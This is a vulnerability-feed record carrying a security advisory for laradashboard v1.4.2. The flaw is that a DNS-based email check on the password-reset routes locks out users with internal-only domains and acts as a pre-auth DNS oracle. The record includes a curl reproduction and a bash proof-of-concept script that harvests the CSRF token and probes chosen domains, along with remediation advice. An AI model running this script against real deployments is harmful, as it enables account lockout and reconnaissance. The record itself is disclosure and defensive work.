{"schema":"threatline.record/2","record":{"id":"GHSA-v36p-8578-8gch","aliases":["GHSA-v36p-8578-8gch"],"summary":"Password-Recovery Path Domain-Gated → Valid-User Lockout DoS + Pre-Auth DNS Oracle","details":"#  Password-Recovery Path Domain-Gated → Valid-User Lockout DoS + Pre-Auth DNS Oracle\r\n\r\n- **Severity:**  CVSS `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H`\r\n- **CWE:** 306 / 642 (control flow path mishandling → unavail) + DNS oracle\r\n- **Affected:** v1.4.2 (new); `ForgotPasswordRequest`, `ResetPasswordRequest`, `EmailSubmissionValidator`, `EmailDomainCheckService`\r\n\r\n## Summary\r\n\r\nForgot/reset password routes now run `PublicFormGuardService::mergeRules`, which calls `EmailSubmissionValidator` — and `EmailDomainCheckService` permanently rejects domains where `checkdnsrr($domain, 'MX')` fails:\r\n\r\n```php\r\n// ForgotPasswordRequest.php:22-27\r\nreturn app(PublicFormGuardService::class)->mergeRules(['email' => ['required','email']], emailFields: ['email']);\r\n// EmailSubmissionValidator.php:70-74 + :123 — permanent reject on disposable/blocked\r\n// EmailDomainCheckService.php:116-129 — DNS lookup\r\n```\r\n\r\nConsequence: **any user whose email domain has internal-only MX records (e.g. `admin@corp.local`) can never request a password reset** — the validation rule rejects before the broker fires. Only an authenticated admin with `settings.edit` + correct mail config can workaround. A similar attack applies to the first registration of such an email: `POST /register` → validation block.\r\n\r\nSecondary impact: attacker triggers DNS lookups for arbitrarily chosen domains via `POST /password/email` (20/min throttle; each resolves MX → slow-DoS tie-up of workers via DNS timeout).\r\n\r\n## Reproduction\r\n\r\n```\r\ncurl -X POST 'http://<app>/password/email' -d \"_token=<csrf>&email=admin@corp.local\"\r\n# → 422 \"email\" validation error before the mail broker is contacted\r\n# (the DNS lookup for corp.local either times out or returns no MX)\r\n```\r\n\r\n## Impact\r\n\r\n- **Valid-user DoS**: accounts with internal-only email domains are permanently locked out of password recovery (only Superadmin-manual reset possible).\r\n- DNS oracle: attacker learns which domains resolve MX for a given company (pre-auth recon).\r\n- Slow-DNS worker saturation tied to the HTTP throttle budget (20/min), reducing availability of public auth routes.\r\n\r\n## Remediation\r\n\r\n1. Do **not** apply `EmailSubmissionValidator` on recovery routes; these are not \"public submissions\" — apply only on registration/public forms.\r\n2. If domain-restriction is desired for registration, implement it as a setting-gated allow-list, not a DNS-dependent permanent reject.\r\n3. DNS oracle: use async DNS or short timeouts; do not reject based on DNS failure (treat as pass or quarantine).\r\n\r\n## PoC\r\n\r\n### Script\r\n\r\n```bash\r\n#!/usr/bin/env bash\r\n# N-04: Reset path domain-gate → valid-admin lockout + DNS oracle\r\nset -eu\r\nBASE=\"${BASE_URL:?Set BASE_URL to running app}\"\r\nINTERNAL_ADMIN=\"${INTERNAL_ADMIN:-admin@corp.local}\"\r\nCSRF=$(curl -sS \"$BASE/password/email\" | grep -oP 'name=\"_token\"[^>]*value=\"\\K[^\"]+' | head -1)\r\n\r\necho \"[1/2] Reset for valid internal-domain admin...\"\r\ncurl -sS -X POST \"$BASE/password/email\" \\\r\n  -d \"_token=$CSRF&email=$INTERNAL_ADMIN\" -D - -o /dev/null \\\r\n  | grep -iE 'HTTP/|422' | head -3\r\necho \"    → 422 validation — broker never fires\"\r\n\r\necho \"[2/2] DNS oracle — does attacker-chosen domain resolve MX?...\"\r\nfor d in mobilecorp.xyz check.tag exists.example; do\r\n  code=$(curl -sS -o /dev/null -w '%{http_code}' -X POST \"$BASE/password/email\" \\\r\n    -d \"_token=$CSRF&email=probe@$d\")\r\n  echo \"    domain $d → HTTP $code (302 = MX resolves)\"\r\ndone\r\necho \"[+] Done — internal-DNS admin permanently locked out of recovery.\"\r\n```\r\n\r\n### Expected output\r\n\r\n```text\r\n[1/2] Reset for valid internal-domain admin...\r\nHTTP/1.1 422 Unprocessable Entity\r\n    → 422 validation — broker never fires\r\n[2/2] DNS oracle — does attacker-chosen domain resolve MX?...\r\n    domain mobilecorp.xyz → HTTP 302 (MX resolves)\r\n    domain check.tag → HTTP 302\r\n    domain exists.example → HTTP 422 (no MX)\r\n[+] Done — internal-DNS admin permanently locked out of recovery.\r\n```\r\n\r\n`ForgotPasswordRequest.php:22-27` / `ResetPasswordRequest.php:23-30` run `EmailSubmissionValidator`; `EmailDomainCheckService.php:116-129` does a permanent (not quarantine) DNS-based reject on the recovery path.\r\n\r\n\r\nConnect with the researcher: [Evilord on LinkedIn](https://www.linkedin.com/in/evilord)","categories":["Unclassified"],"product":"laradashboard/laradashboard","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/laradashboard/laradashboard/security/advisories/GHSA-v36p-8578-8gch","source_modified_at":"2026-10-03T09:40:09Z","fetched_at":"2026-10-23T20:00:35.122048Z","package":{"ecosystem":"php,laravel","name":"laradashboard/laradashboard"},"range":"v1.4.2 "}],"fixed_versions":[],"cvss":8.2,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-03T09:40:09Z","modified_at":"2026-10-03T09:40:09Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/laradashboard/laradashboard/security/advisories/GHSA-v36p-8578-8gch","fetched_at":"2026-10-23T20:00:35.122048Z","source_modified_at":"2026-10-03T09:40:09Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-03T09:40:09Z","content_hash":"9396378fdd0b7490a707f184b29a8484b70496d88e39721530b70a170ff23b0b"}}
